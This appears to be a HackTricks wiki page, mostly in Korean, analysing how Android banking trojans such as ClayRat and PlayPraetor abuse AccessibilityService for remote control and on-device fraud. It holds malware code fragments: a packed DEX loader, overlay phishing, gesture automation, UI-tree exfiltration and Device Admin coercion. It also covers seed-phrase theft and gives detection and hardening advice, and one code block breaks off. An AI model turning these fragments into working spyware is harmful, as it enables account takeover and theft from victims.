Android Accessibility Service 악용
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
AccessibilityService는 장애가 있는 사용자가 Android 장치를 조작할 수 있도록 만들어졌습니다. 불행히도 동일한 강력한 자동화 APIs (global navigation, text input, gesture dispatch, overlay windows…)는 악성코드에 의해 무기화되어 휴대폰에 대한 complete remote control을 얻을 수 있으며 without root privileges.
최신 Android banking Trojans 및 Remote-Access-Trojans (RATs)인 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 등은 동일한 수법을 따릅니다:
- 사회공학 기법으로 피해자가 악성 접근성 서비스를 활성화하도록 유도한다 (권한 BIND_ACCESSIBILITY_SERVICE는 “high-risk“로 간주되며 명시적인 사용자 동작을 필요로 한다).
- 해당 서비스를 활용하여
- 화면에 표시되는 모든 UI 이벤트와 텍스트를 캡처한다,
- 합성 제스처(
dispatchGesture)와 글로벌 액션(performGlobalAction)을 주입해 운영자가 원하는 모든 작업을 자동화한다, - TYPE_ACCESSIBILITY_OVERLAY 윈도우 타입을 사용해 정상 앱 위에 전체 화면 오버레이를 그린다 (
SYSTEM_ALERT_WINDOW프롬프트 없음!), - 피해자를 대신해 시스템 대화상자를 클릭하여 추가 런타임 권한을 조용히 부여한다.
- 사용자가 전혀 이상해 보이지 않는 화면을 보는 동안 실시간으로 데이터를 유출하거나 **On-Device-Fraud (ODF)**를 수행한다.
Packed Accessibility droppers
ClayRat v3.0.8는 Accessibility RAT을 assets/ 아래에 숨겨진 단계적 페이로드와 결합합니다. 런타임에 호스트 APK는:
assets/*.dat에서 암호화된 blob을 스트리밍한다.- Java/Kotlin 로더에 임베드된 하드코딩된 AES/CBC 키 + IV로 이를 복호화한다.
- 평문 DEX를 앱의 private dir에 기록하고
DexClassLoader를 통해 로드하여 실제 스파이웨어 클래스는 메모리에서만 노출되게 한다.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();
이 패킹 패턴 (ATT&CK T1406.002)은 dropper가 실행될 때까지 Accessibility 모듈을 디스크에 두지 않아 static signature scans와 Play Protect를 우회하며, 사용자가 위험한 권한을 이미 부여할 때까지 탐지되지 않게 한다.
권한 요청
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
동봉된 XML은 가짜 대화상자가 어떻게 보일지 정의합니다:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
원격 UI 자동화 기본 요소
Accessibility service 자동화 골격
```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }
</details>
이 두 개의 API만으로 공격자는:
* 화면 잠금을 해제하고, 은행 앱을 열어 UI 트리를 탐색한 뒤 이체 폼을 제출할 수 있다.
* 떠오르는 모든 권한 대화상자를 수락할 수 있다.
* 추가 APK를 Play Store intent를 통해 설치/업데이트할 수 있다.
---
## 악용 패턴
### 1. Overlay Phishing (Credential Harvesting)
A transparent or opaque `WebView` is added to the window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious “draw over other apps” prompt is ever shown.
Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.
ClayRat exposes this capability with the show_block_screen / hide_block_screen commands that download overlay templates from the C2. Operators can switch layouts on the fly to:
- Black out the panel so the victim assumes the handset is off or frozen while automated gestures disable Play Protect or grant more permissions.
- Display fake system update / battery optimization panels that justify why the device is “busy” while background automation continues.
- Show an interactive PIN pad overlay that mirrors the system lock screen—the malware captures every digit and streams it to the operator as soon as a 4‑digit code is entered.
Because TYPE_ACCESSIBILITY_OVERLAY windows never raise the SYSTEM_ALERT_WINDOW permission prompt, the victim only sees the decoy UI while the RAT keeps interacting with the real apps underneath.
2. 디바이스 내 사기 자동화
Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init, update, alert_arr, report_list, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.
3. 화면 스트리밍 및 모니터링
ClayRat upgrades the usual MediaProjection trick into a remote desktop stack:
turbo_screentriggers the MediaProjection consent dialog; the Accessibility service clicks “Start now” so the victim never intervenes.- With the resulting
MediaProjectiontoken it creates aVirtualDisplaybacked by anImageReader, keeps aForegroundServicealive, and drains frames on worker threads. - Frames are JPEG/PNG encoded according to the operator-supplied
set_qualityparameter (defaults to60when missing) and shipped over an HTTP→WebSocket upgrade advertising the customClayRemoteDesktopuser-agent. start_desktop/stop_desktopmanage the capture threads whilescreen_tap,screen_swipe,input_text,press_home,press_backandpress_recentsreplay gestures against the live framebuffer.
The result is a VNC-like feed delivered entirely through sanctioned APIs—no root or kernel exploits—yet it hands the attacker live situational awareness with millisecond latency.
4. 잠금화면 인증 정보 탈취 및 자동 잠금해제
ClayRat subscribes to TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED events emitted by com.android.systemui (Keyguard). It reconstructs whatever guard is active:
- PIN – watches keypad button presses until the locker reports completion.
- Password – concatenates strings seen in the focused password field for each
AccessibilityEvent. - Pattern – records the ordered node indices inferred from gesture coordinates across the 3×3 grid.
Secrets plus metadata (lock type + timestamp) are serialized into SharedPreferences under lock_password_storage. When the operator pushes auto_unlock, the service wakes the device with unlock_device / screen_on, replays the stored digits or gestures through dispatchGesture, and silently bypasses the keyguard so subsequent ODF workflows can continue.
5. 알림 피싱 및 수집
A companion Notification Listener turns the shade into a phishing surface:
get_push_notificationsdumps every currently visible notification, including OTP / MFA messages.- The
notificationscommand toggles anotifications_enabledflag so each futureonNotificationPosted()payload is streamed to the C2 in real time. send_push_notificationlets operators craft fake, interactive notifications that impersonate banking or chat apps; any text the victim submits is parsed as credentials and exfiltrated immediately.
Because Accessibility can open/dismiss the notification shade programmatically, this method harvests secrets without touching the targeted apps.
6. 통화 및 SMS 명령 채널
After coercing the user into setting the RAT as the default SMS app, the following commands provide complete modem control:
send_smsandretransmishionsend arbitrary or replayed messages to attacker-controlled numbers.messsmsiterates over the entire contacts database to spam phishing links for worm-like propagation.make_callinitiates voice calls that support social-engineering workflows.get_sms_list/get_smsandget_call_log/get_callsdump inboxes and call history so MFA codes or call metadata can be abused instantly.
Combined with Accessibility-driven UI navigation, ClayRat can receive an OTP via notification/SMS and immediately input it inside the target banking or enterprise app.
7. 탐지, 수집 및 프록시
Additional ClayRat commands map the environment and keep C2 resilient:
get_apps/get_apps_listenumerate installed packages (ATT&CK T1418).get_device_inforeports model, OS version and battery state (T1426).get_cam/get_cameracapture front-camera stills, whileget_keylogger_dataserializes lock PINs plus passwords, view descriptions and hints scraped from sensitive fields.get_proxy_datafetches a proxy WebSocket URL, appends the unique device ID and spins a job that tunnels HTTP/HTTPS over the same bidirectional channel (T1481.002 / T1646).
PlayPraetor – 명령 및 제어 워크플로우
- HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers
POST /app/searchPackageNamewith the active C2. - WebSocket (port 8282) – bidirectional JSON commands:
update– push new conf/APKsalert_arr– configure overlay templatesreport_list– send list of targeted package namesheartbeat_web– keep-alive
- RTMP (port 1935) – live screen/video streaming.
- REST exfiltration –
/app/saveDevice(fingerprint)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(bank creds)
The AccessibilityService is the local engine that turns those cloud commands into physical interactions.
악성 Accessibility 서비스 탐지
adb shell settings get secure enabled_accessibility_services- Settings → Accessibility → Downloaded services – look for apps that are not from Google Play.
- MDM / EMM solutions can enforce
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+) to block sideloaded services. - Analyse running services:
adb shell dumpsys accessibility | grep "Accessibility Service"
앱 개발자를 위한 강화 권고
- Mark sensitive views with
android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+). - Combine
setFilterTouchesWhenObscured(true)withFLAG_SECUREto prevent tap/overlay hijacking. - Detect overlays by polling
WindowManager.getDefaultDisplay().getFlags()or theViewRootImplAPI. - Refuse to operate when
Settings.canDrawOverlays()or a non-trusted Accessibility service is active.
ATS 자동화 치트시트 (Accessibility-driven)
Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
ATS 자동화를 위한 헬퍼 메서드
```java // Helpers inside your AccessibilityService private List예시 흐름 (체코어 → 영어 레이블):
- “Nová platba” (새 결제) → 클릭
- “Zadat platbu” (결제 입력) → 클릭
- “Nový příjemce” (새 수취인) → 클릭
- “Domácí číslo účtu” (국내 계좌번호) → 포커스 및
ACTION_SET_TEXT - “Další” (다음) → 클릭 → … “Zaplatit” (결제) → 클릭 → PIN 입력
Fallback: 텍스트 조회가 커스텀 위젯 때문에 실패할 때 dispatchGesture와 하드코드된 좌표 사용.
또한 관찰된 사례: 전송 전에 limits UI로 이동해 일일 한도를 늘리는 방식으로 check_limit 및 limit 전의 사전 단계 수행.
텍스트 기반 유사 화면 스트리밍
저지연 원격 제어를 위해 전체 비디오 스트리밍 대신 현재 UI 트리의 텍스트 표현을 덤프하여 반복적으로 C2에 전송.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
이것은 txt_screen (일회성) 및 screen_live (연속) 같은 명령의 기초입니다.
Device Admin 강제 수단
Device Admin 리시버가 활성화되면, 이러한 호출은 자격 증명을 캡처하고 제어를 유지할 수 있는 기회를 늘립니다:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
Crypto wallet seed-phrase 추출 패턴
MetaMask, Trust Wallet, Blockchain.com and Phantom에서 관찰된 흐름:
- 도난된 PIN(overlay/Accessibility를 통해 캡처) 또는 제공된 wallet password로 잠금 해제.
- 이동: Settings → Security/Recovery → Reveal/Show recovery phrase.
- 텍스트 노드를 keylogging하거나, secure-screen bypass 또는 텍스트가 가려진 경우 screenshot OCR을 통해 문구를 수집.
- 셀렉터 안정화를 위해 다국어 로케일(EN/RU/CZ/SK)을 지원 — 가능하면
viewIdResourceName을 우선 사용하고, 없으면 다국어 텍스트 매칭으로 폴백.
NFC-relay 오케스트레이션
Accessibility/RAT 모듈은 3단계로 전용 NFC-relay 앱(e.g., NFSkate)을 설치 및 실행하고, 피해자를 카드-프레젠트 relay 단계로 안내하기 위해 overlay 가이드를 주입할 수 있다.
배경 및 TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- Return of ClayRat: Expanded Features and Techniques
- ClayRat v3 IoCs (Zimperium)
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


